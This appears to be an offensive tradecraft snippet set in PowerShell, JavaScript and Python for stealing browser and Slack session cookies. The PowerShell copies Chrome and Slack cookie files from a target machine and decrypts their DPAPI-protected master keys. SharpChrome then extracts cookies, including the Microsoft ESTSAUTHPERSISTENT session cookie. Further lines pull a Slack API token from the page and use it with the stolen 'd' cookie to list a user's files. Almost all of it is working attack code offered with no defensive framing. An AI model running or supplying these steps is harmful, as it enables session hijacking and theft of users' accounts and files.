Remote environment
Copy-Item "$Env:localappdata\Google\Chrome\User Data\Default\Cookies" .\tmp\
Add-Type -AssemblyName System.Security
$localState = Get-Content "$Env:localappdata\Google\Chrome\User Data\Local State" | ConvertFrom-Json
$encryptedKey = [convert]::FromBase64String($localState.os_crypt.encrypted_key)
$chromeMasterKey = [System.Security.Cryptography.ProtectedData]::Unprotect(($encryptedKey | Select-Object -Skip 5), $null, 'CurrentUser')
[convert]::ToBase64String($chromeMasterKey) > .\tmp\chromeMasterKey
Local env
Function Convert-ByteArrayToHex {
[cmdletbinding()]
param(
[parameter(Mandatory=$true)]
[Byte[]]
$Bytes
)
$HexString = [System.Text.StringBuilder]::new($Bytes.Length * 2)
ForEach($byte in $Bytes){
$HexString.AppendFormat("{0:x2}", $byte) | Out-Null
}
$HexString.ToString()
}
$base64MasterKey = Get-Content .\chromeMasterKey
$encryptedKey = Convert-ByteArrayToHex ([convert]::FromBase64String($base64MasterKey))
$cookiePath = (Resolve-Path Cookies).Path
.\SharpChrome.exe cookies /target:$cookiePath /statekey:$encryptedKey /cookie:"ESTSAUTHPERSISTENT" /format:json
Remote environment
Copy-Item "$Env:localappdata\Slack\Cookies" .\tmp\
$localState = Get-Content "$env:AppData\Slack\Local State" | ConvertFrom-Json
$encryptedKey = [convert]::FromBase64String($localState.os_crypt.encrypted_key)
$slackMasterKey = [System.Security.Cryptography.ProtectedData]::Unprotect(($encryptedKey | Select-Object -Skip 5), $null, 'CurrentUser')
[convert]::ToBase64String($slackMasterKey) > .\tmp\slackMasterKey
Local env
$base64MasterKey = Get-Content .\slackMasterKey
$encryptedKey = Convert-ByteArrayToHex ([convert]::FromBase64String($base64MasterKey))
$cookiePath = (Resolve-Path Cookies).Path
.\SharpChrome.exe cookies /target:$cookiePath /statekey:$encryptedKey /format:json
window.prompt("API token is: ", TS.boot_data.api_token)
import requests
url = 'https://slack.com/api/files.list'
headers = {'content-type': 'x-www-form-urlencoded'}
data = [
('token', token),
('user', user),
('include_locale', 'true'),
('return_im', 'true')
]
cookies = {'d': dcookie}
r = requests.post(url, data, cookies=cookies, headers=headers)
print r.text